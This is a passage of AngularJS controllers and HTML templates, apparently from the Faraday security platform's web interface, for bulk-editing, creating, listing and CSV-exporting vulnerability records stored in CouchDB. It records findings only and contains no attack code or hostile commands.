66 if($scope.mixed == 0x11) {
67 $scope.mixed = true;
68 } else {
69 $scope.mixed = false;
70 }
71
72 $scope.isChecked = function(i) {
73 return i.selected;
74 };
75
76 $scope.ok = function() {
77 var res = {};
78
79 if($scope.web) {
80 res = {
81 "data": $scope.data,
82 "desc": $scope.desc,
83 "method": $scope.method,
84 "name": $scope.name,
85 "params": $scope.params,
86 "path": $scope.path,
87 "pname": $scope.pname,
88 "query": $scope.query,
89 "request": $scope.request,
90 "response": $scope.response,
91 "severity": $scope.severitySelection,
92 "vulns": $scope.vulns,
93 "website": $scope.website
94 };
95 } else {
96 res = {
97 "data": $scope.data,
98 "desc": $scope.desc,
99 "name": $scope.name,
100 "severity": $scope.severitySelection,
101 "vulns": $scope.vulns
102 };
103 }
104
105 $modalInstance.close(res);
106 };
107
108 $scope.cancel = function() {
109 $modalInstance.dismiss('cancel');
110 };
111
112 });
0 angular.module('faradayApp')
1 .controller('modalKoCtrl', function($scope, $modalInstance, msg) {
2 $scope.msg = msg;
3
4 $scope.ok = function() {
5 $modalInstance.close();
6 };
7 });
0 angular.module('faradayApp')
1 .controller('modalNewCtrl',
2 ['$scope', '$modalInstance','targetFact', 'severities', 'workspace',
3 function($scope, $modalInstance,targetFact, severities, workspace) {
4
5 $scope.typeOptions = [
6 {name:'Vulnerability', value:'Vulnerability'},
7 {name:'VulnerabilityWeb',value:'VulnerabilityWeb'}
8 ];
9 $scope.vuln_type = $scope.typeOptions[0].value;
10 $scope.severities = severities;
11 $scope.workspace = workspace;
12 $scope.target_selected = null;
13 $scope.not_target_selected = false;
14 $scope.incompatible_vulnWeb = false;
15
16 var name_selected;
17 var host_selected;
18 var d = {};
19 var hosts = targetFact.getTarget($scope.workspace, true);
20 hosts.forEach(function(h) {
21 h.services = [];
22 d[h._id] = h;
23 });
24 var services = targetFact.getTarget($scope.workspace, false);
25 for(var i = 0; i < services.length; i++){
26 var host = [];
27 services[i].selected = false;
28 host = d[services[i].hid];
29 host.services.push(services[i]);
30 }
31 $scope.hosts_with_services = hosts;
32
33 $scope.ok = function() {
34 if($scope.vuln_type == "VulnerabilityWeb" && host_selected == true){
35 $scope.incompatible_vulnWeb = true;
36 }else{
37 var res = {};
38 var id = $scope.target_selected._id + "." + CryptoJS.SHA1($scope.name + "." + $scope.desc).toString();
39 var sha = CryptoJS.SHA1($scope.name + "." + $scope.desc).toString();
40
41 var myDate = new Date();
42 var myEpoch = myDate.getTime()/1000.0;
43
44 var res = {
45 "id": id,
46 "data": $scope.data,
47 "date": myEpoch,
48 "desc": $scope.desc,
49 "meta": {'create_time': myEpoch,
50 "update_time": myEpoch,
51 "update_user": 'UI Web',
52 'update_action': 0,
53 'creator': 'UI Web',
54 'create_time': myEpoch,
55 'update_controller_action': 'UI Web New',
56 'owner': 'anonymous'
57 },
58 "name": $scope.name,
59 "oid": sha,
60 "owned": false,
61 "owner": "",
62 "couch_parent": $scope.target_selected._id,
63
64 "refs": [],
65 "status": $scope.vuln_type,
66 "severity": $scope.severitySelection,
67 "target": name_selected,
68 "type": $scope.vuln_type,
69 };
70 var extra_vulns_prop = {};
71
72 if($scope.vuln_type == "VulnerabilityWeb") {
73 extra_vulns_prop = {
74 "path": $scope.path,
75 "pname": $scope.pname,
76 "query": $scope.query,
77 "request": $scope.request,
78 "response": $scope.response,
79 "web": true,
80 "website": $scope.website
81 };
82 } else {
83 extra_vulns_prop = {
84 "web": false
85 };
86 }
87
88 for (var key in extra_vulns_prop) {
89 res[key] = extra_vulns_prop[key];
90 }
91
92 $modalInstance.close(res);
93 }
94 };
95
96 $scope.cancel = function() {
97 $modalInstance.dismiss('cancel');
98 };
99
100 $scope.$parent.isopen = ($scope.$parent.default === $scope.item);
101
102 $scope.$watch('isopen', function (newvalue, oldvalue, $scope) {
103 $scope.$parent.isopen = newvalue;
104 });
105
106 $scope.selected = function(i, j){
107 if($scope.target_selected){
108 $scope.target_selected.selected = false;
109 }
110 if(j != null){
111 host_selected = false;
112 $scope.target_selected = $scope.hosts_with_services[i].services[j];
113 name_selected = $scope.hosts_with_services[i].name;
114 }else{
115 host_selected = true;
116 $scope.target_selected = $scope.hosts_with_services[i];
117 name_selected = $scope.hosts_with_services[i].name;
118 }
119 $scope.target_selected.selected = true;
120 $scope.not_target_selected = true;
121 }
122 }]);
0 angular.module('faradayApp')
1 .factory('notesFact', ['BASEURL', '$http', function(BASEURL, $http) {
2 var notesFact = {};
3
4 notesFact.getNotes = function(ws, parent) {
5 var noteIds = [];
6 var notes = [];
7 var note = {};
8 var params = JSON.stringify([parent, "Note"]);
9 var url = BASEURL + ws + "/_design/mapper/_view/byparentandtype?key=" + params;
10 $.getJSON(url, function(data) {
11 $.each(data.rows, function(n, obj) {
12 noteIds.push(obj.value);
13 });
14 });
15 noteIds.forEach(function(id) {
16 url = BASEURL + ws + "/" + id;
17 $.getJSON(url, function(data) {
18 note = {
19 "id": data._id,
20 "rev": data._rev,
21 "name": data.name,
22 "text": data.text
23 };
24 notes.push(note);
25 });
26 });
27 return notes;
28 };
29
30 // updates note if existing, creates otherwise
31 notesFact.putNote = function(ws, name, parent, text) {
32 var notes = notesFact.getNotes(ws, parent);
33 var note = {};
34 var exists = false;
35 var url = BASEURL + ws + "/";
36 var id = "";
37 var rev = "";
38
39 // we need to check the name fits before updating
40 if(notes.length) {
41 notes.forEach(function(note) {
42 if(note.name === name) {
43 id = note.id;
44 rev = note.rev;
45 url += note.id;
46 exists = true;
47 }
48 });
49 }
50
51 if(!exists) {
52 // insert
53 id = parent + "." + CryptoJS.SHA1("Message").toString();
54 url += id;
55 note = {
56 "name": name,
57 "parent": parent,
58 "owned": false,
59 "text": text,
60 "type": "Note"
61 };
62 } else {
63 // update
64 note = {
65 "_id": id,
66 "_rev": rev,
67 "name": name,
68 "parent": parent,
69 "owned": false,
70 "text": text,
71 "type": "Note"
72 };
73 }
74
75 $http.put(url, note);
76 };
77
78 return notesFact;
79 }]);
0 <section id="main" class="seccion clearfix">
1 <aside class="left-nav">
2 <nav>
3 <ul>
4 <li>
5 <a href="../././reports/index.html#{{workspace}}" class="ws-dashboard" style="color: #ffffff !important" title="WS Dashboard">
6 <h2><span class="fa fa-pie-chart" title="Dashboard"></span></h2>
7 </a>
8 </li>
9 <li>
10 <a href="../././reports/faraday.html#/status/ws/{{workspace}}" class="status-report" style="color: #ffffff !important" title="Status Report">
11 <h2><span class="fa fa-list" title="Status Report"></span></h2>
12 </a>
13 </li>
14 </ul>
15 </nav>
16 </aside>
17
18 <div class="right-main"><div id="reports-main" class="fila clearfix">
19 <h2 class="ws-label">
20 <span id="ws-name" class="label label-default"
21 title="Current workspace">All available sections</span><!-- WS name -->
22 </h2><!-- .ws-label -->
23 <div class="reports">
24 <div class="ws-list">
25 <a href="#/status" class="ws-link">
26 <p class="label label-success ws-name">Status Report</p>
27 </a>
28 </div><!-- .ws-list -->
29 </div><!-- .reports -->
30 </div><!-- #reports-main --></div><!-- .right-main -->
31 </section>
0 <div class="modal-header">
1 <h3 class="modal-title">Bulk deletion</h3>
2 </div>
3 <div class="modal-body">
4 <h5>{{message}}</h5>
5 </div><!-- .modal-body -->
6 <div class="modal-footer">
7 <button class="btn btn-success" ng-click="ok()">OK</button>
8 <button class="btn btn-danger" ng-click="cancel()">Cancel</button>
9 </div>
0 <form name="formEdit" novalidate>
1 <div class="modal-header">
2 <div class="modal-button">
3 <button class="btn btn-success" ng-click="ok()" ng-disabled="formEdit.$invalid">OK</button>
4 <button class="btn btn-danger" ng-click="cancel()">Cancel</button>
5 </div>
6 <h3 class="modal-title">Bulk edit</h3>
7 </div>
8 <div class="modal-body">
9 <div ng-if="mixed">
10 <div class="alert alert-danger alert-dismissible" role="alert">
11 <button type="button" class="close" data-dismiss="alert"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
12 <h5><strong>Hey!</strong> You have selected both vulnerabilities and web vulnerabilities. Please keep in mind that fields in red are specific for web vulnerabilities and these will not be added to regular vulnerabilities.</h5>
13 </div>
14 </div><!-- ng-if -->
15 <div ng-if="!web">
16 <h5><small>
17 Please choose a severity, name, description and data
18 </small></h5>
19 </div><!-- ng-if -->
20 <div class="form-horizontal">
21 <div class="form-group">
22 <div class="col-md-3">
23 <select class="form-control" ng-model="severitySelection" ng-options="s as s for s in severities">
24 <option value=""></option>
25 </select>
26 </div>
27 <div class="col-md-9">
28 <label class="sr-only" for="vuln-name">Vuln name</label>
29 <input type="text" class="form-control" id="vuln-name" placeholder="Name" value="{{p_name}}" ng-model="name" required/>
30 </div>
31 </div><!-- .form-group -->
32 <div class="form-group">
33 <div class="col-md-12">
34 <label class="sr-only" for="vuln-desc">Vuln description</label>
35 <textarea class="form-control" id="vuln-desc" placeholder="Description" value="{{p_desc}}" ng-model="desc" required></textarea>
36 </div>
37 </div><!-- .form-group -->
38 <div class="form-group">
39 <div class="col-md-12">
40 <label class="sr-only" for="vuln-data">Vuln data</label>
41 <textarea class="form-control" id="vuln-data" placeholder="Data" value="{{p_data}}" ng-model="data"></textarea>
42 </div>
43 </div><!-- .form-group -->
44 <div ng-if="web">
45 <div class="form-group">
46 <div class="col-md-4 has-error">
47 <label class="sr-only control-label" for="vuln-method">Method</label>
48 <input type="text" class="form-control input-error" id="vuln-method" value="{{p_method}}" placeholder="Method" ng-model="$parent.method"/>
49 </div>
50 <div class="col-md-3 has-error">
51 <label class="sr-only control-label" for="vuln-pname">Param Name</label>
52 <input type="text" class="form-control input-error" id="vuln-pname" value="{{p_pname}}" placeholder="Param name" ng-model="$parent.pname"/>
53 </div>
54 <div class="col-md-5 has-error">
55 <label class="sr-only control-label" for="vuln-params">Params</label>
56 <input type="text" class="form-control input-error" id="vuln-params" value="{{p_params}}" placeholder="Params" ng-model="$parent.params"/>
57 </div>
58 </div><!-- .form-group -->
59 <div class="form-group">
60 <div class="col-md-4 has-error">
61 <label class="sr-only control-label" for="vuln-path">Path</label>
62 <input type="text" class="form-control input-error" id="vuln-path" value="{{p_path}}" placeholder="Path" ng-model="$parent.path"/>
63 </div>
64 <div class="col-md-4 has-error">
65 <label class="sr-only control-label" for="vuln-query">Query</label>
66 <input type="text" class="form-control input-error" id="vuln-query" value="{{p_query}}"placeholder="Query" ng-model="$parent.query"/>
67 </div>
68 <div class="col-md-4 has-error">
69 <label class="sr-only control-label" for="vuln-website">Website</label>
70 <input type="text" class="form-control input-error" id="vuln-website" value="{{p_website}}" placeholder="Website" ng-model="$parent.website"/>
71 </div>
72 </div><!-- .form-group -->
73 <div class="form-group">
74 <div class="col-md-12 has-error">
75 <label class="sr-only control-label" for="vuln-request">Request</label>
76 <textarea class="form-control input-error" id="vuln-request" value="{{p_request}}" placeholder="Request" ng-model="$parent.request"></textarea>
77 </div>
78 </div><!-- .form-group -->
79 <div class="form-group">
80 <div class="col-md-12 has-error">
81 <label class="sr-only control-label" for="vuln-response">Response</label>
82 <textarea class="form-control input-error" id="vuln-response" value="{{p_response}}" placeholder="Response" ng-model="$parent.response"></textarea>
83 </div>
84 </div><!-- .form-group -->
85 </div><!-- ng-if -->
86 </div><!-- .form-horizontal -->
87 <h5><small>
88 Vulnerabilities to update
89 </small></h5>
90 <table class="csv-export status-report">
91 <thead>
92 <tr>
93 <th><a href="" ng-click="sortField = 'date'; reverse = !reverse">Date</a></th>
94 <th><a href="" ng-click="sortField = 'web'; reverse = !reverse">Web</a></th>
95 <th><a href="" ng-click="sortField = 'status'; reverse = !reverse">Status</a></th>
96 <th><a href="" ng-click="sortField = 'severity'; reverse = !reverse">Severity</a></th>
97 <th><a href="" ng-click="sortField = 'name'; reverse = !reverse">Name</a></th>
98 <th><a href="" ng-click="sortField = 'target'; reverse = !reverse">Target</a></th>
99 <th><a href="" ng-click="sortField = 'desc'; reverse = !reverse">Desc</a></th>
100 </tr>
101 </thead>
102 <tbody>
103 <tr ng-click="pickVuln(v)" ng-repeat="v in vulns | filter:isChecked | orderBy:sortField:reverse">
104 <td>{{v.date}}</td>
105 <td>
106 <span class="glyphicon glyphicon-ok" ng-show="v.web"></span>
107 <span class="glyphicon glyphicon-remove" ng-show="!v.web"></span>
108 </td>
109 <td>Vulnerable</td>
110 <td>{{v.severity}}</td>
111 <td>{{v.name}}</td>
112 <td>{{v.target}}</td>
113 <td text-collapse text-collapse-max-length="50" text-collapse-text="{{v.desc}}"></td>
114 </tr>
115 </tbody>
116 </table><!-- #hosts -->
117 </div><!-- .modal-body -->
118 <div class="modal-footer">
119 <button class="btn btn-success" ng-click="ok()" ng-disabled="formEdit.$invalid">OK</button>
120 <button class="btn btn-danger" ng-click="cancel()">Cancel</button>
121 </div>
122 </form>
0 <div class="modal-header">
1 <h3 class="modal-title">Oops!</h3>
2 </div>
3 <div class="modal-body">
4 <h5>{{ msg }}</h5>
5 </div><!-- .modal-body -->
6 <div class="modal-footer">
7 <button class="btn btn-success" ng-click="ok()">OK</button>
8 </div>
0 <form name="form" novalidate>
1 <div class="modal-header">
2 <div class="modal-button">
3 <button class="btn btn-success" ng-click="ok()" ng-disabled="form.$invalid">OK</button>
4 <button class="btn btn-danger" ng-click="cancel()">Cancel</button>
5 </div>
6 <h3 class="modal-title">Bulk new</h3>
7 </div>
8 <div class="modal-body">
9 <div class="form-horizontal">
10 <div class="form-group">
11 <div class="col-md-12">
12 <accordion close-others="true">
13 <accordion-group is-open="isopen" ng-repeat="host in hosts_with_services">
14 <accordion-heading>
15 <a ng-click="selected($index, null)" ng-class="{'multi-selected': host.selected == true}">{{host.name}}</a>
16 <i class="pull-right glyphicon"
17 ng-class="{'glyphicon glyphicon-minus-sign': isopen, 'glyphicon glyphicon-plus-sign': !isopen}"></i>
18 </accordion-heading>
19 <div class="panel-body" ng-repeat="service in host.services">
20 <a ng-model="service" ng-click="selected($parent.$index, $index)" ng-class="{'multi-selected': service.selected == true}">{{service.name}}</a>
21 </div>
22 </accordion-group>
23 </accordion>
24 </div>
25 </div>
26 </div>
27
28 <div class="alert alert-danger target_not_selected" role="alert" ng-hide="not_target_selected">
29 <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span>
30 <span class="sr-only">Error:</span>
31 There is no target selected
32 </div>
33 <div class="alert alert-danger target_not_selected" role="alert" ng-show="incompatible_vulnWeb">
34 <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span>
35 <span class="sr-only">Error:</span>
36 Vulnerability incompatible with host target, please select a service
37 </div>
38
39 <div class="form-horizontal">
40 <div class="form-group">
41 <div class="col-md-12">
42 <select class="form-control" ng-model="vuln_type" ng-options="option.value as option.name for option in typeOptions">
43 </select>
44 </div>
45 </div>
46 <div class="form-group">
47 <div class="col-md-3">
48 <select class="form-control" ng-model="severitySelection" ng-options="s as s for s in severities" required>
49 </select>
50 </div>
51 <div class="col-md-9">
52 <label class="sr-only" for="vuln-name">Vuln name</label>
53 <input type="text" class="form-control" id="vuln-name" placeholder="Name" ng-model="name" required/>
54 </div>
55 </div><!-- .form-group -->
56 <div class="form-group">
57 <div class="col-md-12">
58 <label class="sr-only" for="vuln-desc">Vuln description</label>
59 <textarea class="form-control" id="vuln-desc" placeholder="Description" ng-model="desc" required></textarea>
60 </div>
61 </div><!-- .form-group -->
62 <div class="form-group">
63 <div class="col-md-12">
64 <label class="sr-only" for="vuln-data">Vuln data</label>
65 <textarea class="form-control" id="vuln-data" placeholder="Data" ng-model="data"></textarea>
66 </div>
67 </div><!-- .form-group -->
68 </div>
69
70 <div class="animate-switch-container" ng-switch on="vuln_type">
71 <div class="animate-switch" ng-switch-when="VulnerabilityWeb">
72 <div class="form-horizontal">
73 <div class="form-group">
74 <div class="col-md-4">
75 <label class="sr-only control-label" for="vuln-method">Method</label>
76 <input type="text" class="form-control" id="vuln-method" placeholder="Method" ng-model="$parent.method"/>
77 </div>
78 <div class="col-md-3">
79 <label class="sr-only control-label" for="vuln-pname">Param Name</label>
80 <input type="text" class="form-control" id="vuln-pname" placeholder="Param name" ng-model="$parent.pname"/>
81 </div>
82 <div class="col-md-5">
83 <label class="sr-only control-label" for="vuln-params">Params</label>
84 <input type="text" class="form-control" id="vuln-params" placeholder="Params" ng-model="$parent.params"/>
85 </div>
86 </div><!-- .form-group -->
87 <div class="form-group">
88 <div class="col-md-4">
89 <label class="sr-only control-label" for="vuln-path">Path</label>
90 <input type="text" class="form-control" id="vuln-path" placeholder="Path" ng-model="$parent.path"/>
91 </div>
92 <div class="col-md-4">
93 <label class="sr-only control-label" for="vuln-query">Query</label>
94 <input type="text" class="form-control" id="vuln-query" placeholder="Query" ng-model="$parent.query"/>
95 </div>
96 <div class="col-md-4">
97 <label class="sr-only control-label" for="vuln-website">Website</label>
98 <input type="text" class="form-control" id="vuln-website" placeholder="Website" ng-model="$parent.website"/>
99 </div>
100 </div><!-- .form-group -->
101 <div class="form-group">
102 <div class="col-md-12">
103 <label class="sr-only control-label" for="vuln-request">Request</label>
104 <textarea class="form-control" id="vuln-request" placeholder="Request" ng-model="$parent.request"></textarea>
105 </div>
106 </div><!-- .form-group -->
107 <div class="form-group">
108 <div class="col-md-12">
109 <label class="sr-only control-label" for="vuln-response">Response</label>
110 <textarea class="form-control" id="vuln-response" placeholder="Response" ng-model="$parent.response"></textarea>
111 </div>
112 </div><!-- .form-group -->
113 <div class="animate-switch" ng-switch-when="Vulnerability"></div>
114 </div>
115 </div>
116 </div><!-- ng-if -->
117 </div><!-- .modal-body -->
118 <div class="modal-footer">
119 <button class="btn btn-success" ng-disabled="form.$invalid" ng-click="ok()">OK</button>
120 <button class="btn btn-danger" ng-click="cancel()">Cancel</button>
121 </div>
122 </form>
0 <section id="main" class="seccion clearfix">
1 <aside class="left-nav">
2 <nav>
3 <ul>
4 <li>
5 <a href="../././reports/index.html#{{workspace}}" class="ws-dashboard" style="color: #ffffff !important" title="WS Dashboard">
6 <h2><span class="fa fa-pie-chart" title="Dashboard"></span></h2>
7 </a>
8 </li>
9 <li>
10 <a href="../././reports/faraday.html#/status/ws/{{workspace}}" class="status-report" style="color: #ffffff !important" title="Status Report">
11 <h2><span class="fa fa-list" title="Status Report"></span></h2>
12 </a>
13 </li>
14 </ul>
15 </nav>
16 </aside>
17
18 <div class="right-main"><div id="reports-main" class="fila clearfix">
19 <h2 class="ws-label">
20 <span id="ws-name" class="label label-default"
21 title="Current workspace">Status report for {{ workspace }} ({{vulns.length}} vulns)</span><!-- WS name -->
22
23 <div id="ws-control" class="btn-group">
24 <button file-exporter="toCSV()" type="button" class="btn btn-success" title="Download CSV for current workspace">
25 <span class="glyphicon glyphicon-download"></span>
26 </button>
27 <button id="refresh" type="button" class="btn btn-danger" title="Refresh current workspace" ng-click="location.reload()">
28 <span class="glyphicon glyphicon-refresh"></span>
29 </button>
30 <button type="button" class="btn btn-danger dropdown-toggle" data-toggle="dropdown" title="Change current workspace">
31 Change workspace <span class="caret"></span>
32 </button>
33 <ul id="nav" class="dropdown-menu dropdown-menu-right" role="menu">
34 <li ng-repeat="ws in workspaces"><a href="#/status/ws/{{ws}}" class="ws" >{{ws}}</a></li>
35 </ul><!-- WS navigation -->
36 </div><!-- #ws-control -->
37 <button id="delete" type="button" class="btn btn-danger" title="Delete selected items" ng-click="delete()">
38 Delete
39 </button>
40 <button id="merge" type="button" class="btn btn-danger" title="Edit selected vulns" ng-click="edit()">
41 Edit
42 </button>
43 <button id="new" type="button" class="btn btn-success" title="New Vulns" ng-click="new()">
44 New
45 </button>
46 </h2><!-- .ws-label -->
47 <div class="reports">
48 <h3><span class="label label-default" title="Add columns">Add columns</span></h3>
49 <div class="columns">
50 <div class="label-list ws-link" ng-repeat="(column, show) in columns">
51 <a href="" class="ws-link" ng-click="toggleShow(column, show)" ng-show="!show">
52 <h1 class="label label-primary ws-name">{{column}}</h1>
53 </a>
54 </div><!-- label-list -->
55 </div><!-- .columns -->
56 <form style="margin: 10px !important;" role="form">
57 <div class="form-group">
58 <label class="sr-only" for="filter-by">Filter by</label>
59 <input type="text" class="form-control input-sm" id="filter-by" placeholder="Filter by" ng-model="query">
60 </div>
61 </form>
62 <table class="csv-export status-report">
63 <thead>
64 <tr>
65 <th ng-if="columns.date">
66 <a href="" ng-click="toggleShow('date', true)"><span class="glyphicon glyphicon-remove"></span></a>
67 <a href="" ng-click="toggleSort('date')">Date</a>
68 </th>
69 <th ng-if="columns.target">
70 <a href="" ng-click="toggleShow('target', true)"><span class="glyphicon glyphicon-remove"></span></a>
71 <a href="" ng-click="toggleSort('target')">Target</a>
72 </th>
73 <th ng-if="columns.status">
74 <a href="" ng-click="toggleShow('status', true)"><span class="glyphicon glyphicon-remove"></span></a>
75 <a href="" ng-click="toggleSort('status')">Status</a>
76 </th>
77 <th ng-if="columns.severity">
78 <a href="" ng-click="toggleShow('severity', true)"><span class="glyphicon glyphicon-remove"></span></a>
79 <a href="" ng-click="toggleSort('severity')">Severity</a>
80 </th>
81 <th ng-if="columns.name">
82 <a href="" ng-click="toggleShow('name', true)"><span class="glyphicon glyphicon-remove"></span></a>
83 <a href="" ng-click="toggleSort('name')">Name</a>
84 </th>
85 <th ng-if="columns.desc">
86 <a href="" ng-click="toggleShow('desc', true)"><span class="glyphicon glyphicon-remove"></span></a>
87 <a href="" ng-click="toggleSort('desc')">Desc</a>
88 </th>
89 <th ng-if="columns.data">
90 <a href="" ng-click="toggleShow('data', true)"><span class="glyphicon glyphicon-remove"></span></a>
91 <a href="" ng-click="toggleSort('data')">Data</a>
92 </th>
93 <th ng-if="columns.method">
94 <a href="" ng-click="toggleShow('method', true)"><span class="glyphicon glyphicon-remove"></span></a>
95 <a href="" ng-click="toggleSort('method')">Method</a>
96 </th>
97 <th ng-if="columns.path">
98 <a href="" ng-click="toggleShow('path', true)"><span class="glyphicon glyphicon-remove"></span></a>
99 <a href="" ng-click="toggleSort('path')">Path</a>
100 </th>
101 <th ng-if="columns.pname">
102 <a href="" ng-click="toggleShow('pname', true)"><span class="glyphicon glyphicon-remove"></span></a>
103 <a href="" ng-click="toggleSort('pname')">Param Name</a>
104 </th>
105 <th ng-if="columns.params">
106 <a href="" ng-click="toggleShow('params', true)"><span class="glyphicon glyphicon-remove"></span></a>
107 <a href="" ng-click="toggleSort('params')">Params</a>
108 </th>
109 <th ng-if="columns.query">
110 <a href="" ng-click="toggleShow('query', true)"><span class="glyphicon glyphicon-remove"></span></a>
111 <a href="" ng-click="toggleSort('query')">Query</a>
112 </th>
113 <th ng-if="columns.request">
114 <a href="" ng-click="toggleShow('request', true)"><span class="glyphicon glyphicon-remove"></span></a>
115 <a href="" ng-click="toggleSort('request')">Request</a>
116 </th>
117 <th ng-if="columns.response">
118 <a href="" ng-click="toggleShow('response', true)"><span class="glyphicon glyphicon-remove"></span></a>
119 <a href="" ng-click="toggleSort('response')">Response</a>
120 </th>
121 <th ng-if="columns.web">
122 <a href="" ng-click="toggleShow('web', true)"><span class="glyphicon glyphicon-remove"></span></a>
123 <a href="" ng-click="toggleSort('web')">Web</a>
124 </th>
125 <th ng-if="columns.website">
126 <a href="" ng-click="toggleShow('website', true)"><span class="glyphicon glyphicon-remove"></span></a>
127 <a href="" ng-click="toggleSort('website')">Website</a>
128 </th>
129 <th><input type="checkbox" ng-model="selectall" ng-click="checkAll()"/></th>
130 </tr>
131 </thead>
132 <tbody>
133 <tr ng-repeat="v in vulns | filter:query | orderBy:sortField:reverse"
134 selection-model selection-model-type="checkbox"
135 selection-model-mode="multiple-additive"
136 selection-model-selected-class="multi-selected">
137 <td ng-if="columns.date">{{v.date}}</td>
138 <td ng-if="columns.target">{{v.target}}</td>
139 <td ng-if="columns.status">Vulnerable</td>
140 <td ng-if="columns.severity" class="fondo-{{v.severity}}">{{v.severity}}</td>
141 <td ng-if="columns.name">{{v.name}}</td>
142 <td ng-if="columns.desc" text-collapse text-collapse-max-length="150" text-collapse-text="{{v.desc}}"></td>
143 <td ng-if="columns.data" text-collapse text-collapse-max-length="150" text-collapse-text="{{v.data}}"></td>
144 <td ng-if="columns.method">{{v.method}}</td>
145 <td ng-if="columns.path">{{v.path}}</td>
146 <td ng-if="columns.pname">{{v.pname}}</td>
147 <td ng-if="columns.params">{{v.params}}</td>
148 <td ng-if="columns.query">{{v.query}}</td>
149 <td ng-if="columns.request" text-collapse text-collapse-max-length="100" text-collapse-text="{{v.request}}"></td>
150 <td ng-if="columns.response" text-collapse text-collapse-max-length="100" text-collapse-text="{{v.response}}"></td>
151 <td ng-if="columns.web">
152 <span class="glyphicon glyphicon-ok" ng-show="v.web"></span>
153 <span class="glyphicon glyphicon-remove" ng-show="!v.web"></span>
154 </td>
155 <td ng-if="columns.website">{{v.website}}</td>
156 <td><input type="checkbox" name="{{v.id}}"/></td>
157 </tr>
158 </tbody>
159 </table><!-- #hosts -->
160 </div><!-- .reports -->
161 </div><!-- #reports-main --></div><!-- .right-main -->
162 </section><!-- #main -->
0 <section id="main" class="seccion clearfix">
1 <aside class="left-nav">
2 <nav>
3 <ul>
4 <li>
5 <a href="../././reports/index.html#{{workspace}}" class="ws-dashboard" style="color: #ffffff !important" title="WS Dashboard">
6 <img class="ws-dashboard" src="images/ico-graph.png" alt="WS Dashboard"/>
7 </a>
8 </li>
9 <li>
10 <a href="../././reports/faraday.html#/status/ws/{{workspace}}" class="status-report" style="color: #ffffff !important" title="Status Report">
11 <h2><span class="glyphicon glyphicon-list" title="Status Report"></span></h2>
12 </a>
13 </li>
14 </ul>
15 </nav>
16 </aside>
17
18 <div class="right-main"><div id="reports-main" class="fila clearfix">
19 <h2 class="ws-label">
20 <span id="ws-name" class="label label-default"
21 title="Current workspace">All available sections</span><!-- WS name -->
22 </h2><!-- .ws-label -->
23 <div class="reports">
24 <div class="ws-list">
25 <a href="#/status/ws/{{ws}}" class="ws-link" ng-repeat="ws in wss"><p class="label label-success ws-name">{{ws}}</p></a>
26 </div><!-- .ws-list -->
27 </div><!-- .reports -->
28 </div><!-- #reports-main --></div><!-- .right-main -->
29 </section>
0 angular.module('faradayApp')
1 .controller('statusReportCtrl',
2 ['$scope', '$filter', '$route', '$routeParams', '$modal', '$log', 'statusReportFact',
3 function($scope, $filter, $route, $routeParams, $modal, $log, statusReportFact) {
4 $scope.$log = $log;
5 $scope.sortField = 'date';
6 $scope.reverse = true;
7 // load all workspaces
8 statusReportFact.getWorkspaces(function(wss) {
9 $scope.workspaces = wss;
10 });
11 // current workspace
12 $scope.workspace = $routeParams.wsId;
13 // load all vulnerabilities
14 $scope.vulns = statusReportFact.getVulns($scope.workspace);
15 // toggles column show property
16 $scope.toggleShow = function(column, show) {
17 $scope.columns[column] = !show;
18 };
19
20 // toggles sort field and order
21 $scope.toggleSort = function(field) {
22 $scope.toggleSortField(field);
23 $scope.toggleReverse();
24 };
25
26 // toggles column sort field
27 $scope.toggleSortField = function(field) {
28 $scope.sortField = field;
29 };
30
31 // toggle column sort order
32 $scope.toggleReverse = function() {
33 $scope.reverse = !$scope.reverse;
34 }
35
36 // set columns to show and hide by default
37 $scope.columns = {
38 "data": true,
39 "date": true,
40 "desc": true,
41 "method": false,
42 "name": true,
43 "params": false,
44 "path": false,
45 "pname": false,
46 "query": false,
47 "request": false,
48 "response": false,
49 "severity": true,
50 "status": false,
51 "target": true,
52 "web": false,
53 "website": false
54 };
55
56 $scope.severities = [
57 "critical",
58 "high",
59 "med",
60 "low",
61 "info",
62 "unclassified",
63
64 ];
65
66 // returns scope vulns as CSV obj
67 // toggles column sort field
68 $scope.cleanCSV = function(field) {
69 return field.replace(/\n[ ]*\n/g, "").replace(/\"/g, "'").replace(/[\n\r]/g, "%20").replace(/[,]/g, "%2c");;
70 };
71 $scope.toCSV = function() {
72 var method = "";
73 var website = "";
74 var desc = "";
75 var text = "";
76 var path = "";
77 var pname = "";
78 var params = "";
79 var query = "";
80 var request = "";
81 var response = "";
82
83 var content = "\"Date\", \"Web\", \"Status\", \"Severity\", "+
84 "\"Name\", \"Target\", \"Description\", "+
85 "\"Data\", \"Method\", \"Path\", \"Param Name\", \"Params\", "+
86 "\"Query\", \"Request\", \"Response\", \"Website\" \n";
87
88 $scope.vulns.forEach(function(v) {
89 method = "";
90 website = "";
91 desc = "";
92 text = "";
93 path = "";
94 pname = "";
95 params = "";
96 query = "";
97 request = "";
98 response = "";
99
100 if(typeof(v.desc) != "undefined") desc = $scope.cleanCSV(v.desc);
101 if(typeof(v.data) != "undefined") text = $scope.cleanCSV(v.data);
102 if(v.type === "VulnerabilityWeb") {
103 if(typeof(v.method) != "undefined") method = $scope.cleanCSV(v.method);
104 if(typeof(v.website) != "undefined") website = $scope.cleanCSV(v.website);
105 if(typeof(v.path) != "undefined") path = $scope.cleanCSV(v.path);
106 if(typeof(v.pname) != "undefined") pname = $scope.cleanCSV(v.pname);
107 if(typeof(v.params) != "undefined") params = $scope.cleanCSV(v.params);
108 if(typeof(v.query) != "undefined") query = $scope.cleanCSV(v.query);
109 if(typeof(v.request) != "undefined") request = $scope.cleanCSV(v.request);
110 if(typeof(v.response) != "undefined") response = $scope.cleanCSV(v.response);
111 }
112
113 content += "\""+v.date+"\","+
114 " \""+v.web+"\","+
115 " \"Vulnerable\","+
116 " \""+v.severity+"\","+
117 " \""+v.name+"\","+
118 " \""+v.target+"\","+
119 " \""+desc+"\","+
120 " \""+text+"\","+
121 " \""+method+"\","+
122 " \""+path+"\","+
123 " \""+pname+"\","+
124 " \""+params+"\","+
125 " \""+query+"\","+
126 " \""+request+"\","+
127 " \""+response+"\","+
128 " \""+website+"\""+
129 "\n";
130 });
131
132 var obj = {
133 "content": content,
134 "extension": "csv",
135 "title": "SR-" + $scope.workspace,
136 "type": "text/csv"
137 };
138
139 return obj;
140 };
141
142 // deletes all vulns with selected == true
143 $scope.remove = function() {
144 var old = $scope.vulns;
145 $scope.vulns = [];
146
